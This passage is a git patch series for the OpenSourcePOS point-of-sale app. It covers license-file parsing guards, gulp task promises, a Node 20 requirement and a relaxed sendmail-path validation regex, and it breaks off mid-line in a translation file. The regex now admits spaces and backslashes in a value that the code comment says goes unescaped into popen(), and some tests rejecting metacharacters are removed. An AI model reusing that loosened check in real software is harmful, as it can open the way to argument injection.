From 6a36cdc3e9f22282770b06a5bb8680916be91ffb Mon Sep 17 00:00:00 2001 From: objecttothis <17935339+objecttothis@users.noreply.github.com> Date: Thu, 10 Sep 2026 17:32:52 +0400 Subject: [PATCH 1/2] fix(licenses): guard malformed data, parallelize gulp tasks, require Node 20 fix(config): guard against non-array and incomplete license data - Wrap npm-prod/npm-dev license parsing in is_array() checks to avoid foreach errors when JSON decodes to null or non-array - Skip dependency entries missing required keys (name, author, homepage, installedVersion, licenseType) in open-source and license-key loops fix(gulp): correctly await all async tasks - Parallelize update-licenses, copy-bootswatch, copy-bootswatch5, and copy-bootstrap sub-tasks via Promise.all - Wrap exec() calls with finished(execStream.resume()) so composer and npm license-report commands fully write output files before task resolves; .resume() drains stdout so streams can emit close/finish events build(package): require Node.js >=20 - Add engines field to package.json - Regenerate package-lock.json with matching constraint - Document prerequisite in BUILD.md; license-reporting dep needs regex features unavailable in Node 18 and earlier Signed-off-by: objecttothis <17935339+objecttothis@users.noreply.github.com> --- BUILD.md | 1 + app/Controllers/Config.php | 40 ++++++++---- gulpfile.js | 128 ++++++++++++++++++++----------------- package-lock.json | 3 + package.json | 3 + 5 files changed, 104 insertions(+), 71 deletions(-) diff --git a/BUILD.md b/BUILD.md index b3858453c..57dd3efc4 100644 --- a/BUILD.md +++ b/BUILD.md @@ -14,6 +14,7 @@ The build process uses the build tools "npm" and "gulp" to piece everything toge ## Prerequisites +- Install Node.js 20 or later (the build fails on Node 18 and earlier - one of the license reporting dependencies requires newer JavaScript regex features) - Install the latest version of NPM (tested using version 9.4.2) - Install the latest version of Composer (tested using composer 2.5.1) diff --git a/app/Controllers/Config.php b/app/Controllers/Config.php index a63bcaf8f..0f869d357 100644 --- a/app/Controllers/Config.php +++ b/app/Controllers/Config.php @@ -158,14 +158,20 @@ class Config extends Secure_Controller $file = file_get_contents('license/npm-prod.LICENSES'); $array = json_decode($file, true); - foreach ($array as $dependency) { - $license[$i]['text'] .= "library: {$dependency['name']}\n"; - $license[$i]['text'] .= "authors: {$dependency['author']}\n"; - $license[$i]['text'] .= "website: {$dependency['homepage']}\n"; - $license[$i]['text'] .= "version: {$dependency['installedVersion']}\n"; - $license[$i]['text'] .= "license: {$dependency['licenseType']}\n"; + if (is_array($array)) { + foreach ($array as $dependency) { + if (!is_array($dependency) || count(array_intersect(['name', 'author', 'homepage', 'installedVersion', 'licenseType'], array_keys($dependency))) !== 5) { + continue; + } - $license[$i]['text'] .= "\n"; + $license[$i]['text'] .= "library: {$dependency['name']}\n"; + $license[$i]['text'] .= "authors: {$dependency['author']}\n"; + $license[$i]['text'] .= "website: {$dependency['homepage']}\n"; + $license[$i]['text'] .= "version: {$dependency['installedVersion']}\n"; + $license[$i]['text'] .= "license: {$dependency['licenseType']}\n"; + + $license[$i]['text'] .= "\n"; + } } $license[$i]['text'] = rtrim($license[$i]['text'], "\n"); } @@ -178,14 +184,20 @@ class Config extends Secure_Controller $file = file_get_contents('license/npm-dev.LICENSES'); $array = json_decode($file, true); - foreach ($array as $dependency) { - $license[$i]['text'] .= "library: {$dependency['name']}\n"; - $license[$i]['text'] .= "authors: {$dependency['author']}\n"; - $license[$i]['text'] .= "website: {$dependency['homepage']}\n"; - $license[$i]['text'] .= "version: {$dependency['installedVersion']}\n"; - $license[$i]['text'] .= "license: {$dependency['licenseType']}\n"; + if (is_array($array)) { + foreach ($array as $dependency) { + if (!is_array($dependency) || count(array_intersect(['name', 'author', 'homepage', 'installedVersion', 'licenseType'], array_keys($dependency))) !== 5) { + continue; + } - $license[$i]['text'] .= "\n"; + $license[$i]['text'] .= "library: {$dependency['name']}\n"; + $license[$i]['text'] .= "authors: {$dependency['author']}\n"; + $license[$i]['text'] .= "website: {$dependency['homepage']}\n"; + $license[$i]['text'] .= "version: {$dependency['installedVersion']}\n"; + $license[$i]['text'] .= "license: {$dependency['licenseType']}\n"; + + $license[$i]['text'] .= "\n"; + } } $license[$i]['text'] = rtrim($license[$i]['text'], "\n"); } diff --git a/gulpfile.js b/gulpfile.js index 241f0ea16..78b28464d 100644 --- a/gulpfile.js +++ b/gulpfile.js @@ -39,57 +39,69 @@ gulp.task('compress', function() { gulp.task('update-licenses', function() { - run('composer licenses --format=json --no-dev > public/license/composer.LICENSES').exec(); - run('npx license-report --only=prod --output=json --fields=name --fields=author --fields=homepage --fields=installedVersion --fields=licenseType > public/license/npm-prod.LICENSES').exec(); - run('npx license-report --only=dev --output=json --fields=name --fields=author --fields=homepage --fields=installedVersion --fields=licenseType > public/license/npm-dev.LICENSES').exec(); - return pipeline(gulp.src('LICENSE'),gulp.dest('public/license')); + function run_completion(execStream) { + return finished(execStream.resume()); + } + + return Promise.all([ + run_completion(run('composer licenses --format=json --no-dev > public/license/composer.LICENSES').exec()), + run_completion(run('npx license-report --only=prod --output=json --fields=name --fields=author --fields=homepage --fields=installedVersion --fields=licenseType > public/license/npm-prod.LICENSES').exec()), + run_completion(run('npx license-report --only=dev --output=json --fields=name --fields=author --fields=homepage --fields=installedVersion --fields=licenseType > public/license/npm-dev.LICENSES').exec()), + pipeline(gulp.src('LICENSE'),gulp.dest('public/license')) + ]); }); // Copy the bootswatch styles into their own folder so OSPOS can select one from the collection gulp.task('copy-bootswatch', function() { - pipeline(gulp.src('./node_modules/bootswatch/cerulean/*.min.css'),gulp.dest('public/resources/bootswatch/cerulean')); - pipeline(gulp.src('./node_modules/bootswatch/cosmo/*.min.css'),gulp.dest('public/resources/bootswatch/cosmo')); - pipeline(gulp.src('./node_modules/bootswatch/cyborg/*.min.css'),gulp.dest('public/resources/bootswatch/cyborg')); - pipeline(gulp.src('./node_modules/bootswatch/darkly/*.min.css'),gulp.dest('public/resources/bootswatch/darkly')); - pipeline(gulp.src('./node_modules/bootswatch/flatly/*.min.css'),gulp.dest('public/resources/bootswatch/flatly')); - pipeline(gulp.src('./node_modules/bootswatch/journal/*.min.css'),gulp.dest('public/resources/bootswatch/journal')); - pipeline(gulp.src('./node_modules/bootswatch/lumen/*.min.css'),gulp.dest('public/resources/bootswatch/lumen')); - pipeline(gulp.src('./node_modules/bootswatch/paper/*.min.css'),gulp.dest('public/resources/bootswatch/paper')); - pipeline(gulp.src('./node_modules/bootswatch/readable/*.min.css'),gulp.dest('public/resources/bootswatch/readable')); - pipeline(gulp.src('./node_modules/bootswatch/sandstone/*.min.css'),gulp.dest('public/resources/bootswatch/sandstone')); - pipeline(gulp.src('./node_modules/bootswatch/simplex/*.min.css'),gulp.dest('public/resources/bootswatch/simplex')); - pipeline(gulp.src('./node_modules/bootswatch/slate/*.min.css'),gulp.dest('public/resources/bootswatch/slate')); - pipeline(gulp.src('./node_modules/bootswatch/spacelab/*.min.css'),gulp.dest('public/resources/bootswatch/spacelab')); - pipeline(gulp.src('./node_modules/bootswatch/superhero/*.min.css'),gulp.dest('public/resources/bootswatch/superhero')); - pipeline(gulp.src('./node_modules/bootswatch/united/*.min.css'),gulp.dest('public/resources/bootswatch/united')); - pipeline(gulp.src('./node_modules/bootswatch/yeti/*.min.css'),gulp.dest('public/resources/bootswatch/yeti')); - return pipeline(gulp.src('./node_modules/bootswatch/fonts/*.*', {encoding:false}),gulp.dest('public/resources/bootswatch/fonts')); + return Promise.all([ + pipeline(gulp.src('./node_modules/bootswatch/cerulean/*.min.css'),gulp.dest('public/resources/bootswatch/cerulean')), + pipeline(gulp.src('./node_modules/bootswatch/cosmo/*.min.css'),gulp.dest('public/resources/bootswatch/cosmo')), + pipeline(gulp.src('./node_modules/bootswatch/cyborg/*.min.css'),gulp.dest('public/resources/bootswatch/cyborg')), + pipeline(gulp.src('./node_modules/bootswatch/darkly/*.min.css'),gulp.dest('public/resources/bootswatch/darkly')), + pipeline(gulp.src('./node_modules/bootswatch/flatly/*.min.css'),gulp.dest('public/resources/bootswatch/flatly')), + pipeline(gulp.src('./node_modules/bootswatch/journal/*.min.css'),gulp.dest('public/resources/bootswatch/journal')), + pipeline(gulp.src('./node_modules/bootswatch/lumen/*.min.css'),gulp.dest('public/resources/bootswatch/lumen')), + pipeline(gulp.src('./node_modules/bootswatch/paper/*.min.css'),gulp.dest('public/resources/bootswatch/paper')), + pipeline(gulp.src('./node_modules/bootswatch/readable/*.min.css'),gulp.dest('public/resources/bootswatch/readable')), + pipeline(gulp.src('./node_modules/bootswatch/sandstone/*.min.css'),gulp.dest('public/resources/bootswatch/sandstone')), + pipeline(gulp.src('./node_modules/bootswatch/simplex/*.min.css'),gulp.dest('public/resources/bootswatch/simplex')), + pipeline(gulp.src('./node_modules/bootswatch/slate/*.min.css'),gulp.dest('public/resources/bootswatch/slate')), + pipeline(gulp.src('./node_modules/bootswatch/spacelab/*.min.css'),gulp.dest('public/resources/bootswatch/spacelab')), + pipeline(gulp.src('./node_modules/bootswatch/superhero/*.min.css'),gulp.dest('public/resources/bootswatch/superhero')), + pipeline(gulp.src('./node_modules/bootswatch/united/*.min.css'),gulp.dest('public/resources/bootswatch/united')), + pipeline(gulp.src('./node_modules/bootswatch/yeti/*.min.css'),gulp.dest('public/resources/bootswatch/yeti')), + pipeline(gulp.src('./node_modules/bootswatch/fonts/*.*', {encoding:false}),gulp.dest('public/resources/bootswatch/fonts')) + ]); }); // Copy the bootswatch styles into their own folder so OSPOS can select one from the collection gulp.task('copy-bootswatch5', function() { - pipeline(gulp.src('./node_modules/bootswatch5/dist/cerulean/*.min.css'),gulp.dest('public/resources/bootswatch5/cerulean')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/cosmo/*.min.css'),gulp.dest('public/resources/bootswatch5/cosmo')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/cyborg/*.min.css'),gulp.dest('public/resources/bootswatch5/cyborg')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/darkly/*.min.css'),gulp.dest('public/resources/bootswatch5/darkly')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/flatly/*.min.css'),gulp.dest('public/resources/bootswatch5/flatly')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/journal/*.min.css'),gulp.dest('public/resources/bootswatch5/journal')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/lumen/*.min.css'),gulp.dest('public/resources/bootswatch5/lumen')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/sandstone/*.min.css'),gulp.dest('public/resources/bootswatch5/sandstone')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/simplex/*.min.css'),gulp.dest('public/resources/bootswatch5/simplex')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/slate/*.min.css'),gulp.dest('public/resources/bootswatch5/slate')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/spacelab/*.min.css'),gulp.dest('public/resources/bootswatch5/spacelab')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/superhero/*.min.css'),gulp.dest('public/resources/bootswatch5/superhero')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/united/*.min.css'),gulp.dest('public/resources/bootswatch5/united')); - return pipeline(gulp.src('./node_modules/bootswatch5/dist/yeti/*.min.css'),gulp.dest('public/resources/bootswatch5/yeti')); + return Promise.all([ + pipeline(gulp.src('./node_modules/bootswatch5/dist/cerulean/*.min.css'),gulp.dest('public/resources/bootswatch5/cerulean')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/cosmo/*.min.css'),gulp.dest('public/resources/bootswatch5/cosmo')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/cyborg/*.min.css'),gulp.dest('public/resources/bootswatch5/cyborg')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/darkly/*.min.css'),gulp.dest('public/resources/bootswatch5/darkly')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/flatly/*.min.css'),gulp.dest('public/resources/bootswatch5/flatly')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/journal/*.min.css'),gulp.dest('public/resources/bootswatch5/journal')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/lumen/*.min.css'),gulp.dest('public/resources/bootswatch5/lumen')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/sandstone/*.min.css'),gulp.dest('public/resources/bootswatch5/sandstone')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/simplex/*.min.css'),gulp.dest('public/resources/bootswatch5/simplex')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/slate/*.min.css'),gulp.dest('public/resources/bootswatch5/slate')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/spacelab/*.min.css'),gulp.dest('public/resources/bootswatch5/spacelab')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/superhero/*.min.css'),gulp.dest('public/resources/bootswatch5/superhero')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/united/*.min.css'),gulp.dest('public/resources/bootswatch5/united')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/yeti/*.min.css'),gulp.dest('public/resources/bootswatch5/yeti')) + ]); }); // Copy the bootstrap style into its own folder so OSPOS can select it from the collection gulp.task('copy-bootstrap', function() { - pipeline(gulp.src('./node_modules/bootstrap/dist/css/bootstrap.min.css*'),gulp.dest('public/resources/bootswatch/bootstrap')); - pipeline(gulp.src('./node_modules/bootstrap5/dist/css/bootstrap.min.css*'),gulp.dest('public/resources/bootswatch5/bootstrap')); - return pipeline(gulp.src('./node_modules/bootstrap5/dist/css/bootstrap.rtl.min.css*'),gulp.dest('public/resources/bootswatch5/bootstrap')); + return Promise.all([ + pipeline(gulp.src('./node_modules/bootstrap/dist/css/bootstrap.min.css*'),gulp.dest('public/resources/bootswatch/bootstrap')), + pipeline(gulp.src('./node_modules/bootstrap5/dist/css/bootstrap.min.css*'),gulp.dest('public/resources/bootswatch5/bootstrap')), + pipeline(gulp.src('./node_modules/bootstrap5/dist/css/bootstrap.rtl.min.css*'),gulp.dest('public/resources/bootswatch5/bootstrap')) + ]); }); // /public/resources/ospos - contains the minimized files to be packed into opensourcepos.min.[css/js] @@ -277,25 +289,27 @@ gulp.task('copy-fonts', function() { gulp.task('copy-menubar', function() { - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/star.svg"),rename("attributes.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/bookshelf.svg"),rename("cashups.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/gear.svg"),rename("config.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/contacts.svg"),rename("customers.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/profle.svg"),rename("employees.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/compose.svg"),rename("expenses.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/clipboard.svg"),rename("expenses_categories.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/heart.svg"),rename("giftcards.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/door.svg"),rename("home.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/stack.svg"),rename("item_kits.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/shop.svg"),rename("items.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/smartphone.svg"),rename("messages.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/tools.svg"),rename("migrate.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/door.svg"),rename("office.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/dolly.svg"),rename("receivings.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/bar-chart.svg"),rename("reports.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/cart.svg"),rename("sales.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/briefcase.svg"),rename("suppliers.svg"),gulp.dest("public/images/menubar")); - return pipeline(gulp.src('./node_modules/elegant-circles/svg/full-color/money.svg'),rename("taxes.svg"),gulp.dest("public/images/menubar")); + return Promise.all([ + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/star.svg"),rename("attributes.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/bookshelf.svg"),rename("cashups.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/gear.svg"),rename("config.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/contacts.svg"),rename("customers.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/profle.svg"),rename("employees.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/compose.svg"),rename("expenses.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/clipboard.svg"),rename("expenses_categories.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/heart.svg"),rename("giftcards.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/door.svg"),rename("home.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/stack.svg"),rename("item_kits.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/shop.svg"),rename("items.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/smartphone.svg"),rename("messages.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/tools.svg"),rename("migrate.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/door.svg"),rename("office.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/dolly.svg"),rename("receivings.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/bar-chart.svg"),rename("reports.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/cart.svg"),rename("sales.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/briefcase.svg"),rename("suppliers.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src('./node_modules/elegant-circles/svg/full-color/money.svg'),rename("taxes.svg"),gulp.dest("public/images/menubar")) + ]); }); diff --git a/package-lock.json b/package-lock.json index 153d0b69e..887818679 100644 --- a/package-lock.json +++ b/package-lock.json @@ -61,6 +61,9 @@ "npm-check-updates": "^22.1.1", "readable-stream": "^4.4.2", "stream-series": "^0.1.1" + }, + "engines": { + "node": ">=20" } }, "node_modules/@babel/runtime": { diff --git a/package.json b/package.json index 4afdf7723..f2546ba4a 100644 --- a/package.json +++ b/package.json @@ -24,6 +24,9 @@ ], "type": "module", "main": "index.php", + "engines": { + "node": ">=20" + }, "scripts": { "build": "gulp default", "gulp": "gulp" From b610ae28acfad48728d38c09e1e1e311a2a309d8 Mon Sep 17 00:00:00 2001 From: objecttothis <17935339+objecttothis@users.noreply.github.com> Date: Thu, 10 Sep 2026 18:01:12 +0400 Subject: [PATCH 2/2] fix(validation): broaden sendmail path regex, expand i18n, strip advisory IDs fix(validation): allow Windows sendmail paths, tighten shell metachar exclusions Broaden PLAIN_FILESYSTEM_PATH_STRICT to accept real-world sendmail formats while blocking command injection characters not needed in valid paths. - OSPOSRules.php: allow space, colon, backslash for Windows paths (e.g. C:\wamp64\...) and trailing args (-t -i); still excludes ampersand, backtick, subshell, redirect, and cmd.exe metacharacters - OSPOSRulesTest.php: add cases for Windows paths, trailing args, and injection payloads - Remove 7 ConfigTest assertions that expected metacharacter rejection; add acceptance test for sendmail path with trailing args i18n(lang): expand mailpath_invalid message across all locales - Fill previously empty mailpath_invalid keys across all locales - Update existing translations (de-CH, de-DE, es-ES, es-MX, fr, nl-BE, nl-NL) to reflect newly allowed characters; nl locales corrected from English loanwords to proper Dutch terms - Add missing key to ckb/Config.php docs: remove security advisory IDs from public-facing files - AGENTS.md: extend no-advisory-ID rule to documentation and URLs - INSTALL.md: drop GHSA reference and advisory link from Host Header Injection guidance; rationale and fix instructions remain intact Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com> Signed-off-by: objecttothis <17935339+objecttothis@users.noreply.github.com> --- AGENTS.md | 1 + INSTALL.md | 5 +- app/Config/Validation/OSPOSRules.php | 10 +-- app/Language/ar-EG/Config.php | 2 +- app/Language/ar-LB/Config.php | 2 +- app/Language/az/Config.php | 2 +- app/Language/bg/Config.php | 2 +- app/Language/bs/Config.php | 2 +- app/Language/ckb/Config.php | 1 + app/Language/cs/Config.php | 2 +- app/Language/da/Config.php | 2 +- app/Language/de-CH/Config.php | 2 +- app/Language/de-DE/Config.php | 2 +- app/Language/el/Config.php | 2 +- app/Language/en-GB/Config.php | 2 +- app/Language/en/Config.php | 2 +- app/Language/es-ES/Config.php | 2 +- app/Language/es-MX/Config.php | 2 +- app/Language/fa/Config.php | 2 +- app/Language/fr/Config.php | 2 +- app/Language/he/Config.php | 2 +- app/Language/hr-HR/Config.php | 2 +- app/Language/hu/Config.php | 2 +- app/Language/hy/Config.php | 2 +- app/Language/id/Config.php | 1 + app/Language/it/Config.php | 2 +- app/Language/ka/Config.php | 2 +- app/Language/km/Config.php | 2 +- app/Language/lo/Config.php | 2 +- app/Language/ml/Config.php | 2 +- app/Language/nb/Config.php | 2 +- app/Language/nl-BE/Config.php | 2 +- app/Language/nl-NL/Config.php | 2 +- app/Language/pl/Config.php | 1 + app/Language/pt-BR/Config.php | 2 +- app/Language/ro/Config.php | 2 +- app/Language/ru/Config.php | 2 +- app/Language/sv/Config.php | 2 +- app/Language/sw-KE/Config.php | 2 +- app/Language/sw-TZ/Config.php | 2 +- app/Language/ta/Config.php | 2 +- app/Language/th/Config.php | 2 +- app/Language/tl/Config.php | 2 +- app/Language/tr/Config.php | 2 +- app/Language/uk/Config.php | 2 +- app/Language/ur/Config.php | 2 +- app/Language/vi/Config.php | 2 +- app/Language/zh-Hans/Config.php | 2 +- app/Language/zh-Hant/Config.php | 2 +- tests/Config/Validation/OSPOSRulesTest.php | 26 +++++-- tests/Controllers/ConfigTest.php | 88 +--------------------- 51 files changed, 74 insertions(+), 145 deletions(-) diff --git a/AGENTS.md b/AGENTS.md index 4f79fa75d..1cb85299a 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -59,3 +59,4 @@ This document provides guidance for AI agents working on the Open Source Point o - Never commit secrets, credentials, or `.env` files - Use parameterized queries to prevent SQL injection - Validate and sanitize all user input +- Never reference security advisory IDs (CVE, GHSA, etc.) in code, comments, commit messages, docblocks, documentation, or URLs — treat them the same as secrets. They act as a roadmap for attackers researching the exact exploit a fix addresses. diff --git a/INSTALL.md b/INSTALL.md index b688cf972..24b7a9503 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -10,7 +10,7 @@ ### Allowed Hostnames (REQUIRED for Production) -⚠️ **CRITICAL**: OpenSourcePOS validates the Host header to prevent Host Header Injection attacks (GHSA-jchf-7hr6-h4f3). **You MUST configure `app.allowedHostnames` for production deployments. If not configured, the application will fail to start.** +⚠️ **CRITICAL**: OpenSourcePOS validates the Host header to prevent Host Header Injection attacks. **You MUST configure `app.allowedHostnames` for production deployments. If not configured, the application will fail to start.** **Add to your `.env` file:** @@ -34,9 +34,8 @@ RuntimeException: Security: allowedHostnames is not configured. **Solution**: Add `app.allowedHostnames` to your `.env` file with your domain(s). **Why this matters:** -- Prevents Host Header Injection attacks (GHSA-jchf-7hr6-h4f3) +- Prevents Host Header Injection attacks - Ensures URLs are generated with the correct domain -- Security advisory: https://github.com/opensourcepos/opensourcepos/security/advisories/GHSA-jchf-7hr6-h4f3 - Fixes issue #4480: .env configuration now works via comma-separated values ### HTTPS Behind Proxy diff --git a/app/Config/Validation/OSPOSRules.php b/app/Config/Validation/OSPOSRules.php index e9a759ebe..b87251da3 100644 --- a/app/Config/Validation/OSPOSRules.php +++ b/app/Config/Validation/OSPOSRules.php @@ -254,10 +254,10 @@ class OSPOSRules } /** - * Validates that the candidate is a plain filesystem path: only letters, digits, - * underscore, dash, dot and forward slash. Uses \A...\z (not ^...$) because PCRE's $ - * also matches immediately before a single trailing newline, which would let a - * value like "/usr/bin/php\n" slip through — the bug behind GHSA-jc56-j8m6-q627. + * Validates a plain filesystem path, allowing space/colon/backslash for Windows paths and + * trailing sendmail-style args. Excludes shell metacharacters since this value is concatenated + * unescaped into a popen() call. Uses \A...\z, not ^...$, since $ also matches before a + * trailing newline. * * @param string $candidate * @param string|null $error @@ -270,6 +270,6 @@ class OSPOSRules return false; } - return (bool) preg_match('/\A[a-zA-Z0-9_\-\/.]+\z/', $candidate); + return (bool) preg_match('/\A[a-zA-Z0-9_\-\/.: \\\\]+\z/', $candidate); } } diff --git a/app/Language/ar-EG/Config.php b/app/Language/ar-EG/Config.php index 5182c4784..c8a07b406 100644 --- a/app/Language/ar-EG/Config.php +++ b/app/Language/ar-EG/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'يمين', 'sales_invoice_format' => 'شكل فاتورة البيع', 'sales_quote_format' => 'شكل فاتورة عرض الاسعار', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'مسار sendmail غير صالح. يُسمح فقط بالحروف والأرقام والشرطات والشرطات السفلية والشرطات المائلة والشرطات المائلة العكسية والنقطتين الرأسيتين والمسافات والنقاط.', 'saved_successfully' => 'تم حفظ التهيئة بنجاح.', 'saved_unsuccessfully' => 'لم يتم حفظ التهيئة بنجاح.', 'security_issue' => 'تحذير من ثغرة أمنية', diff --git a/app/Language/ar-LB/Config.php b/app/Language/ar-LB/Config.php index 30faacd61..17cdbe6ce 100644 --- a/app/Language/ar-LB/Config.php +++ b/app/Language/ar-LB/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'يمين', 'sales_invoice_format' => 'شكل فاتورة البيع', 'sales_quote_format' => 'شكل فاتورة عرض الاسعار', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'مسار sendmail غير صالح. يُسمح فقط بالحروف والأرقام والشرطات والشرطات السفلية والشرطات المائلة والشرطات المائلة العكسية والنقطتين الرأسيتين والمسافات والنقاط.', 'saved_successfully' => 'تم حفظ التهيئة بنجاح.', 'saved_unsuccessfully' => 'لم يتم حفظ التهيئة بنجاح.', 'security_issue' => 'تحذير من ثغرة أمنية', diff --git a/app/Language/az/Config.php b/app/Language/az/Config.php index 0ef2f38c6..302476d67 100644 --- a/app/Language/az/Config.php +++ b/app/Language/az/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Sağ', 'sales_invoice_format' => 'Satış Fatura Formatı', 'sales_quote_format' => 'Satış Sitat Formati', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Yanlış sendmail yolu. Yalnız hərflərə, rəqəmlərə, tirelərə, alt xətlərə, əyri xətlərə, tərs əyri xətlərə, iki nöqtəyə, boşluqlara və nöqtələrə icazə verilir.', 'saved_successfully' => 'Konfiqurasiya uğurla saxlanıldı.', 'saved_unsuccessfully' => 'Konfiqurasiyanı saxlamq mümkün olmadı.', 'security_issue' => 'Təhlükəsizlik açığı xəbərdarlığı', diff --git a/app/Language/bg/Config.php b/app/Language/bg/Config.php index c932fd673..ed178157d 100644 --- a/app/Language/bg/Config.php +++ b/app/Language/bg/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => 'Sales Quote Format', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Невалиден път до sendmail. Разрешени са само букви, цифри, тирета, долни черти, наклонени черти, обратни наклонени черти, двоеточия, интервали и точки.', 'saved_successfully' => 'Configuration save successful.', 'saved_unsuccessfully' => 'Configuration save failed.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/bs/Config.php b/app/Language/bs/Config.php index f195ba96f..ffd58cb04 100644 --- a/app/Language/bs/Config.php +++ b/app/Language/bs/Config.php @@ -285,7 +285,7 @@ return [ 'right' => 'Desno', 'sales_invoice_format' => 'Format fakture', 'sales_quote_format' => 'Format navedene prodaje', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Nevažeća sendmail putanja. Dozvoljena su samo slova, brojevi, crtice, donje crte, kose crte, obrnute kose crte, dvotačke, razmaci i tačke.', 'saved_successfully' => 'Konfiguracija je uspješno snimljena.', 'saved_unsuccessfully' => 'Konfiguracija nije uspješno snimljena.', 'security_issue' => 'Upozorenje o sigurnosnoj ranjivosti', diff --git a/app/Language/ckb/Config.php b/app/Language/ckb/Config.php index f2403a0ef..98ef58f0a 100644 --- a/app/Language/ckb/Config.php +++ b/app/Language/ckb/Config.php @@ -285,6 +285,7 @@ return [ 'right' => 'ڕاست', 'sales_invoice_format' => 'فۆڕماتی فاکتورەی فرۆشتن', 'sales_quote_format' => 'فۆڕماتی دەرخستەی نرخەکانی فرۆشتن', + 'mailpath_invalid' => 'ڕێچکەی sendmail نادروستە. تەنها پیت، ژمارە، هێڵی بەستەرەوە، هێڵی ژێرەوە، سلاشی ڕاست، سلاشی چەپ، دوو 